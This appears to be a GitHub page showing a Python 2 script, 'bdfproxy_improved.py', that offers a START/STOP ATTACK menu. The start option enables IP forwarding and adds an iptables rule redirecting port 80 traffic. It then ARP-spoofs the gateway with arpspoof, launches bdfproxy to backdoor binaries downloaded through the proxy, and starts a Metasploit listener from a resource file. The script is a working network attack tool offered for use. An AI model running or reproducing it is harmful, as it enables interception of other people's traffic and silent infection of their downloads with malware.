-
Notifications
You must be signed in to change notification settings - Fork 9
/
bdfproxy_improved.py
executable file
·58 lines (53 loc) · 1.31 KB
/
bdfproxy_improved.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import eznhlib
bash_cmd = eznhlib.bash_cmd
get_gw = eznhlib.get_gw
readUserInput = eznhlib.readUserInput
menu_parser = eznhlib.menu_parser
popen_background = eznhlib.popen_background
clean_iptables = eznhlib.clean_iptables
userSelectGateway = eznhlib.userSelectGateway
def start_attack():
iface_file = "userinput_interface.txt"
gw_file = "userinput_gateway.txt"
iface = readUserInput(iface_file)
gw = userSelectGateway()
commands = """
pkill mitmproxy
pkill ruby
fuser -k 8080/tcp 80/tcp 443/tcp 8443/tcp 8081/tcp 81/tcp
sleep 2
bdfproxy &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i {0} -p tcp --dport 80 -j REDIRECT --to-port 8080
arpspoof -i {0} {1}
msfdb start
msfconsole -r bdfproxy_msf_resource.rc
""".format(
str(iface),
str(gw)
)
bash_cmd(commands)
return
def stop_attack():
commands = """pkill arpspoof
pkill bdfproxy
pkill ruby
"""
bash_cmd(commands)
clean_iptables()
return
def main():
print """
\t1: START ATTACK
\t2: STOP ATTACK
"""
choice = int(raw_input("Enter a OPTION: "))
if choice == 1:
start_attack()
elif choice == 2:
stop_attack()
else:
print "You have entered a incorrect option"
main()
return
main()